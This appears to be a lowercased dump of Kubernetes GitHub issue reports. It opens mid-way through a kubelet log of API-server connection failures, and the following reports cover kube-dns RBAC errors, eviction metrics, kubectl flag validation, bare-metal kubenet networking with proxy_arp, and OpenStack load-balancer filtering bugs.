https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:11 k8s-master-40834743-0 docker 18987 : e0801 17:56:11.674362   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:12 k8s-master-40834743-0 docker 18987 : e0801 17:56:12.672877   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:12 k8s-master-40834743-0 docker 18987 : e0801 17:56:12.673810   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:12 k8s-master-40834743-0 docker 18987 : e0801 17:56:12.674902   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:13 k8s-master-40834743-0 docker 18987 : e0801 17:56:13.673436   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:13 k8s-master-40834743-0 docker 18987 : e0801 17:56:13.674338   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:13 k8s-master-40834743-0 docker 18987 : e0801 17:56:13.675447   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:14 k8s-master-40834743-0 docker 18987 : e0801 17:56:14.673964   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:14 k8s-master-40834743-0 docker 18987 : e0801 17:56:14.674891   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:14 k8s-master-40834743-0 docker 18987 : e0801 17:56:14.675992   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:15 k8s-master-40834743-0 docker 18987 : i0801 17:56:15.242296   19014 kubelet.go:1752  skipping pod synchronization -  kubelet failed to get node info: failed to get external id from cloud provider: instance not found \r aug 01 17:56:15 k8s-master-40834743-0 docker 18987 : e0801 17:56:15.379494   19014 kubelet.go:2067  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: kubenet does not have netconfig. this is most likely due to lack of podcidr\r aug 01 17:56:15 k8s-master-40834743-0 docker 18987 : e0801 17:56:15.674532   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:15 k8s-master-40834743-0 docker 18987 : e0801 17:56:15.675425   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:15 k8s-master-40834743-0 docker 18987 : e0801 17:56:15.676518   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:16 k8s-master-40834743-0 docker 18987 : e0801 17:56:16.675082   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:16 k8s-master-40834743-0 docker 18987 : e0801 17:56:16.675946   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:16 k8s-master-40834743-0 docker 18987 : e0801 17:56:16.677046   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:17 k8s-master-40834743-0 docker 18987 : i0801 17:56:17.097150   19014 kubelet_node_status.go:230  setting node annotation to enable volume controller attach/detach\r aug 01 17:56:17 k8s-master-40834743-0 docker 18987 : e0801 17:56:17.129041   19014 kubelet_node_status.go:73  unable to construct v1.node object for kubelet: failed to get external id from cloud provider: instance not found\r aug 01 17:56:17 k8s-master-40834743-0 docker 18987 : e0801 17:56:17.675829   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:17 k8s-master-40834743-0 docker 18987 : e0801 17:56:17.676514   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:17 k8s-master-40834743-0 docker 18987 : e0801 17:56:17.677669   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:18 k8s-master-40834743-0 docker 18987 : e0801 17:56:18.483783   19014 event.go:208  unable to write event: 'post https://10.239.255.239:443/api/v1/namespaces/default/events: dial tcp 10.239.255.239:443: getsockopt: connection refused'  may retry after sleeping \r aug 01 17:56:18 k8s-master-40834743-0 docker 18987 : e0801 17:56:18.676434   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:18 k8s-master-40834743-0 docker 18987 : e0801 17:56:18.677369   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:18 k8s-master-40834743-0 docker 18987 : e0801 17:56:18.678441   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:19 k8s-master-40834743-0 docker 18987 : e0801 17:56:19.676957   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:19 k8s-master-40834743-0 docker 18987 : e0801 17:56:19.677883   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:19 k8s-master-40834743-0 docker 18987 : e0801 17:56:19.678961   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:20 k8s-master-40834743-0 docker 18987 : i0801 17:56:20.242500   19014 kubelet.go:1752  skipping pod synchronization -  kubelet failed to get node info: failed to get external id from cloud provider: instance not found \r aug 01 17:56:20 k8s-master-40834743-0 docker 18987 : e0801 17:56:20.380500   19014 kubelet.go:2067  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: kubenet does not have netconfig. this is most likely due to lack of podcidr\r aug 01 17:56:20 k8s-master-40834743-0 docker 18987 : e0801 17:56:20.486504   19014 eviction_manager.go:214  eviction manager: unexpected err: failed getnode: node 'k8s-master-40834743-0' not found\r aug 01 17:56:20 k8s-master-40834743-0 docker 18987 : e0801 17:56:20.677523   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:20 k8s-master-40834743-0 docker 18987 : e0801 17:56:20.678476   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:20 k8s-master-40834743-0 docker 18987 : e0801 17:56:20.679515   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:21 k8s-master-40834743-0 docker 18987 : e0801 17:56:21.678454   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:21 k8s-master-40834743-0 docker 18987 : e0801 17:56:21.679030   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:21 k8s-master-40834743-0 docker 18987 : e0801 17:56:21.679967   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:382: failed to list  v1.service: get https://10.239.255.239:443/api/v1/services?resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:22 k8s-master-40834743-0 docker 18987 : e0801 17:56:22.679068   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://10.239.255.239:443/api/v1/pods?fieldselector=spec.nodename%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r aug 01 17:56:22 k8s-master-40834743-0 docker 18987 : e0801 17:56:22.679940   19014 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:390: failed to list  v1.node: get https://10.239.255.239:443/api/v1/nodes?fieldselector=metadata.name%3dk8s-master-40834743-0&resourceversion=0: dial tcp 10.239.255.239:443: getsockopt: connection refused\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r i started kubelet with  --pod-manifest-path=/etc/kubernetes/manifests  . this cluster was created using   azure container service  .\r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r    \r azure . standard_d3_v2 machines, 4cores, 14gb memory\r    \r - os  e.g. from /etc/os-release :  ubuntu 16.04.2 lts \r - kernel :  4.4.0-87-generic \r - install tools: using azure template\r - others:\r

  \r \r   what happened  :\r i've set up k8s with rbac and it seems kube-dns is trying to list the endpoint and services at cluster scope under namespace default.\r \r accordingly with https://kubernetes.io/docs/admin/authorization/rbac/ it seems there should only be \r a kube-dns account in the kube-system namespace. however there are some missing or mis-configured kube-dns options because i'm getting these error messages in kube-dns:\r    \r e0816 15:32:32.456507       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.endpoints: user \ system:serviceaccount:kube-system:default\  cannot list endpoints at the cluster scope.  get endpoints \r e0816 15:32:32.456507       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.service: user \ system:serviceaccount:kube-system:default\  cannot list services at the cluster scope.  get services \r    \r \r i'm not entirely sure if i should have open this here or under github.com/kubernetes/dns\r \r i'm using the controller and service available here https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/dns

currently, for memory allocatable evictions, we sum the memory usage of pods in order to calculate allocatable memory usage.\r we can get more accurate metrics by monitoring the kubepods cgroup, which contains all pods and their processes.  this has a few benefits:\r \r 1. it makes calculation of allocatable usage more accurate.\r 2. it makes the eviction manager simpler\r 3. after on-demand metrics are implemented in cadvisor https://github.com/google/cadvisor/pull/1779, we can also collect metrics from this cgroup on-demand, which will make memory allocatable evictions more responsive, and able to prevent ooms on the /kubepods cgroup more effectively.\r \r cc @kubernetes/sig-node-feature-requests \r \r /

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r 1. when run 'kubectl get --raw', you can still specify -o json/xml but not take effect, which will confuse users.\r 2. there's no uri valid check for --raw like other commands.\r \r   what you expected to happen  :\r 1. make --raw and --output mutually exclusive for kubectl get cmd\r 2. add url/parserequesturi check for the specified raw uri\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. specify --raw and -o at the same time when run kubectl get\r 2. specify a invalid uri for --raw\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r run e2e node test with  tempsetcurrentkubeletconfig   , and wait for new configuration take effect.\r but it will return  before  new configuration has taken effect.\r \r   what you expected to happen  :\r \r  setkubeletconfiguration    will return with new configuration has taken effect.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run any e2e node test with  dynamickubeletconfig .\r \r   anything else we need to know?  :\r \r this is because we use period = 10   time.second and jitterfactor = 0.2 in  cc.syncconfigsource client, nodename   https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubeletconfig/controller.go l220-l222 .\r in extreme scenarios, it will take at least 12 seconds for kubelet to catch this new config.\r \r we use this  logic  https://github.com/kubernetes/kubernetes/blob/master/test/e2e_node/util.go l175-l186  to check whether kubelet is restarted:\r    go\r // poll for new config, for a maximum wait of restartgap\r eventually func   error {\r \tnewkubecfg, err := getcurrentkubeletconfig  \r \tif err != nil {\r \t\treturn fmt.errorf \ failed trying to get current kubelet config, will retry, error: %v\ , err \r \t}\r \tif !reflect.deepequal  kubecfg,  newkubecfg  {\r \t\treturn fmt.errorf \ still waiting for new configuration to take effect, will continue to watch /configz\  \r \t}\r \tglog.infof \ new configuration has taken effect\  \r \treturn nil\r }, restartgap, pollinterval .should benil   \r    \r this  eventually    will return ok immediately as  newkubecfg  has been set to etcd, but kubelet don't restart with this  newkubecfg .\r this function  setkubeletconfiguration  will return before new configuration has taken effect.\r \r i will send a pr to fix this.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /area kubelet\r  /assign @mtaufen \r /cc @vishh @jiayingz @derekwaynecarr @dchen1107 @liggitt \r ptal, thanks!

what happened  :\r \r when pod in k8s access external service,the snat policy will replace pod ip by node ip ,some times i want to get the pod ip to trouble shooting,but i got node ip\r \r   what you expected to happen  :\r \r external service can get the pod ip\r

is this a bug report or feature request?  :\r \r  \r   what happened  : cloud providers are using the command-line tool  udevadm  to retrieve status and format volume mounts.  udevadm  is missing from the hyperkube image resulting in missing volumes.\r \r issues: https://github.com/kubernetes/kubernetes/issues/43515 https://github.com/coreos/bugs/issues/2385\r \r   what you expected to happen  :\r \r volume mounts on cloud providers are expected to be formatted and mounted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r gce and openstack volume mounts are effected.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9, 1.10+\r - cloud provider or hardware configuration: gce and openstack\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

  \r   what happened  :\r executing  kubectl delete crd <mycrd> -n <some-namespace>  proceeds to delete the crd even though the docs say  customresourcedefinitions themselves are non-namespaced and are available to all namespaces.  \r \r   what you expected to happen  :\r i would expect some warning or error which says something like  crd are non-namespaced, remove namespace flag to proceed \r \r   how to reproduce it  as minimally and precisely as possible   :\r  kubectl delete crd <test-crd> -n <test-namespace> \r \r @kubernetes/sig-cli-feature-requests

flaky job: pr:pull-kubernetes-kubemark-e2e-gce-big  flakes in the past week:   20    consistency:   95.80%         flakiest tests by flake count: | test | flake count | | --- | --- | | up | 13 | | kubemark overall | 5 | | kubemark test | 5 |       previously closed issues for this job flaking:  62267  65466     flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

my upstream push url was set to \ dont_push_to_upstream\ , to prevent accidental pushing to upstream.  hack/cherry_pick_pull.sh was failing with      +++ creating a pull request on github aborted: the origin remote doesn't point to a github repository.      workaround:      git remote set-url --push upstream http://github.com/googlecloudplatform/kubernetes.git hack/cherry_pick_pull.sh ... git remote set-url --push upstream dont_push_to_upstream

i was debating whether to file separate issues, but they're similar enough that one issue is probably better.   1  make it easier for users to understand the reason for scheduling decisions. for example, when a pod is scheduled, attach an annotation to it with something like this  suggested by @brendandburns        node-1:   1234  1000  zonal spreading  + 200  machine spreading  + 30  balanced resources  + 4  image affinity   node-2:   1014   ...   node-3: failed predicate xxx ... node-n: ...      also possibly add a kubectl porcelain command to easily fetch this information about a pod.   2  make it easier for users to understand the reason for pending pods. this is really the same as  1  except all of the nodes will be marked as \ failed predicate xxx\  and the pod in question will be pending rather than running.  in both cases it is also useful to present some kind of summary -- it's not possible to extract a useful signal by reading thousands of lines of this information per pod, as you'd have in a large cluster. there are some fairly obvious ways to summarize the information, but i don't want to stifle anyone's creativity by suggesting anything specific here. :

subtask from https://github.com/kubernetes/kubernetes/pull/17191  a go program that will fetch discovery info from all federated servers and provide a summarized view.  in addition to the discovery information that apiservers currently surface, we need to add a server url.  open questions: - extend the existing apigrouplist  https://github.com/kubernetes/kubernetes/blob/e108a32b082f2c91d853c898f51a02729c911b1c/pkg/api/unversioned/types.go l307  and add a server url there or define a new one? - return the appropriate server url for internal and external clients.    - do we want to do this?    - can we auto detect if the request is from a client inside the cluster or external?    - or should the request have a way to specify that?    - how does the client figure out that is it inside the cluster for master or not?  @kubernetes/sig-api-machinery @kubernetes/goog-csi @smarterclayton @lavalamp @thockin @bgrant0607

the current cluster bootstrap script  gce specifically  pulls etcd v2 image from gcr.  as we are moving towards etcd v3 w.r.t. more comprehensive testing, we want to have the capability to bootstrap a cluster talking with etcd v3 servers. this includes two parts: 1. configure kube-apiserver by specifying \ --storage-backend\  to \ etcd3\  and also other corresponding parameters if needed. 2. start etcd3 servers as part of the master components or standalone instances.  attack plan: - for first step, we are planning to make it work on gce and runs e2e tests against that. - we are going to make sure all interested parties have it work on more use cases.

this refers to the docker repo at: https://github.com/sonatype/docker-nexus3  if you try to attach a gce persistent disk, this image will consistently fail to start with the issue described here: http://stackoverflow.com/questions/34171019/could-not-attach-gce-pd-timeout-waiting-for-mount-paths/37695212 37695212  my answer on that question is only partly right, for this image in particular i was never able to get it to start up.

updated:   please see the proposal doc https://github.com/kubernetes/kubernetes/pull/29459 for tracking the design of this feature. i have changed the first comment in this issue to reflect progress on various milestones. \r   milestones\r    initial\r -  x  rebase, clean up, and shepard  19837 through the code-review and merge process. this gets us a versioned configmap object for specifying the kubelet config.\r -  x  determine naming conventions for the kubelet configmaps.\r -  x  determine a namespace for the kubelet configmaps.  they will go in  kube-system  \r -  x  add an endpoint for the kubelet to dump its config, so we have an easy way of seeing how it is configured. /configz has been updated in the example implementation to report the external type, and will suffice for now. \r -  x  kubelet polls api server to detect config changes and reboots when it detects new config.\r -  x  add ability to set per-node config through api server   kubelet-<node-name>  .\r -  x  finish refactor of kubeletconfiguration's path to kubelet  29216.\r \r    tasks from the proposal\r -     work on design until proposal is approved for implementation\r \r     work thus far\r - configmap: https://github.com/kubernetes/kubernetes/issues/19837\r - main issue: https://github.com/kubernetes/kubernetes/issues/27980\r - refactor to clean up the path kubeletconfiguration takes on its way to the kubelet: https://github.com/kubernetes/kubernetes/pull/29216\r - example implementation: https://github.com/kubernetes/kubernetes/pull/30090\r

i am using the kubernetes 1.2 release from the centos repos and have a multi master setup with 2 masters.   on my first master all pods are starting fine but on the second master all pods will be pending for a few seconds and then destroyed because they are outdated. both masters are set as unscheduleable. the manifests are identical on both masters.       jul 11 14:34:42 localhost.localdomain kubelet 21622 : i0711 14:34:42.583113   21622 kubelet.go:3258  generating status for \ kube-apiserver-192.168.50.11_default 5674b683a9106ff09a7c37d7bcdc81ff \  jul 11 14:34:42 localhost.localdomain kubelet 21622 : i0711 14:34:42.583268   21622 manager.go:277  ignoring same status for pod \ kube-apiserver-192.168.50.11_default 5674b683a9106ff09a7c37d7bcdc81ff \ , status: {phase:running conditions: {type:ready status:true lastp jul 11 14:34:42 localhost.localdomain kubelet 21622 : e0711 14:34:42.583314   21622 kubelet.go:1769  deleting mirror pod \ kube-apiserver-192.168.50.11_default 2101de44-4796-11e6-b6a0-525400b263eb \  because it is outdated      both pods have the same  hash  and  mirror hash  values:           \ metadata\ : {         \ name\ : \ k8s-master-192.168.50.11\ ,         \ namespace\ : \ kube-system\ ,         \ selflink\ : \ /api/v1/namespaces/kube-system/pods/k8s-master-192.168.50.11\ ,         \ uid\ : \ 2bef6345-47ac-11e6-b66a-525400b263eb\ ,         \ resourceversion\ : \ 229951\ ,         \ creationtimestamp\ : \ 2016-07-11t21:12:27z\ ,         \ annotations\ : {             \ kubernetes.io/config.hash\ : \ b3b992b97eec63f1e5ced6e947d65ccf\ ,             \ kubernetes.io/config.mirror\ : \ b3b992b97eec63f1e5ced6e947d65ccf\ ,             \ kubernetes.io/config.seen\ : \ 2016-07-11t20:14:30.374611053z\ ,             \ kubernetes.io/config.source\ : \ file\          }               \ metadata\ : {         \ name\ : \ k8s-master-192.168.50.12\ ,         \ namespace\ : \ kube-system\ ,         \ selflink\ : \ /api/v1/namespaces/kube-system/pods/k8s-master-192.168.50.12\ ,         \ uid\ : \ f2813d33-47a1-11e6-bfaf-525400b263eb\ ,         \ resourceversion\ : \ 214644\ ,         \ creationtimestamp\ : \ 2016-07-11t19:59:16z\ ,         \ annotations\ : {             \ kubernetes.io/config.hash\ : \ b3b992b97eec63f1e5ced6e947d65ccf\ ,             \ kubernetes.io/config.mirror\ : \ b3b992b97eec63f1e5ced6e947d65ccf\ ,             \ kubernetes.io/config.seen\ : \ 2016-07-11t19:58:44.364138043z\ ,             \ kubernetes.io/config.source\ : \ file\          }      apiserver manifest      {   \ kind\ : \ pod\ ,   \ apiversion\ : \ v1\ ,   \ metadata\ : {     \ name\ : \ kube-apiserver\    },   \ spec\ : {     \ hostnetwork\ : true,     \ containers\ :         {         \ name\ : \ kube-apiserver\ ,         \ image\ : \ rhel7/kubernetes-apiserver\ ,         \ imagepullpolicy\ : \ always\ ,         \ command\ :             \ /usr/bin/kube-apiserver\ ,           \ --v=0\ ,           \ --address=0.0.0.0\ ,           \ --etcd_servers=http://localhost:2379\ ,           \ --service-cluster-ip-range=10.254.0.0/16\ ,           \ --admission_control=namespacelifecycle,namespaceexists,limitranger,securitycontextdeny,resourcequota\           ,         \ ports\ :             {             \ name\ : \ https\ ,             \ hostport\ : 443,             \ containerport\ : 443           },           {             \ name\ : \ local\ ,             \ hostport\ : 8080,             \ containerport\ : 8080           }          ,         \ volumemounts\ :             {             \ name\ : \ etcssl\ ,             \ mountpath\ : \ /etc/ssl\ ,             \ readonly\ : true           },           {             \ name\ : \ config\ ,             \ mountpath\ : \ /etc/kubernetes\ ,             \ readonly\ : true           }          ,         \ livenessprobe\ : {           \ httpget\ : {             \ path\ : \ /healthz\ ,             \ port\ : 8080           },           \ initialdelayseconds\ : 15,           \ timeoutseconds\ : 15         }       }      ,     \ volumes\ :         {         \ name\ : \ etcssl\ ,         \ hostpath\ : {           \ path\ : \ /etc/ssl\          }       },       {         \ name\ : \ config\ ,         \ hostpath\ : {           \ path\ : \ /etc/kubernetes\          }       }         } }

drawing on the gce kubernetes networking page we set out to enjoy our l2  \ dumb switch\   at our new bare metal installation utilizing kubenet.  wanted to share our success story with tips on updating the l2 section of the networking page.  1  no need anymore for the instructions to start docker with --bridge=cbr0 and the other flags mentioned under gce environment.   at least for the l2 backed bare metal installation and networking   2  make it clear that for l2 switches, you'd need your pod cidr to be a subnet of your normal internal network ip addresses.  which if you are going to use the lower end of /16 for the physical nodes and /24 for the pod network, its not possible to utilize kibe-controller-manager to auto assign the pod cidrs to the kube nodes.  if you want to use kcm to automatically assign those cidrs either use a higher range of the /16 network or use a /8 network for your physical nodes so that kcm has the /16 to assign.  we opted to manually assign  --pod-cidr  via kubelet utilizing a /16 network for both our physical devices and our  cbr0  psudo bridges.  3  this is probably the most important bit we encountered.  since the  cbr0  is going to act as a sudo bridge it's important to enable the  proxy_arp  option on your internal network ethernet device.  so supposing your internal ethernet device is  eno0  you'd want to enable  sysctl -w net.ipv4.conf.eno0.proxy_arp=1   so far it seems to be working great.  number  3  was the secret sauce for us.    i'm open to suggestions if there's a better way to do it! i'd love to learn some more too.

this issue is created to track the development of a federated pod autoscaler.\r the design document was updated  here   https://docs.google.com/document/d/1uacp99lsknhkj6zffovgordivyki4yski8e3ttfazj8/edit?usp=sharing  some days ago.\r \r cc @kubernetes/sig-cluster-federation\r @shashidharatd @kshafiee @deepak-vij

neutron's api ignores unknown paramaters. when listing pools etc, k8 attempts to filter on \ loadbalancerid\  which is not a valid filter.\r as such, it is ignored by neutron, and a list of all pools is returned. then k8 proceeds all the pools. \r for example, ensureloadbalancerdeleted   delete all the pools and members.\r \r https://docs.openstack.org/cli-reference/neutron.html neutron-lbaas-listener-list\r https://docs.openstack.org/cli-reference/neutron.html neutron-lbaas-pool-list

they are resulting in https://k8s-testgrid.appspot.com/sig-node kubelet-serial-gce-e2e failing again and again.\r \r https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=localstoragecapacityisolationeviction\r \r example of failures:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet-serial/1472\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet-serial/1477\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet-serial/1480\r \r

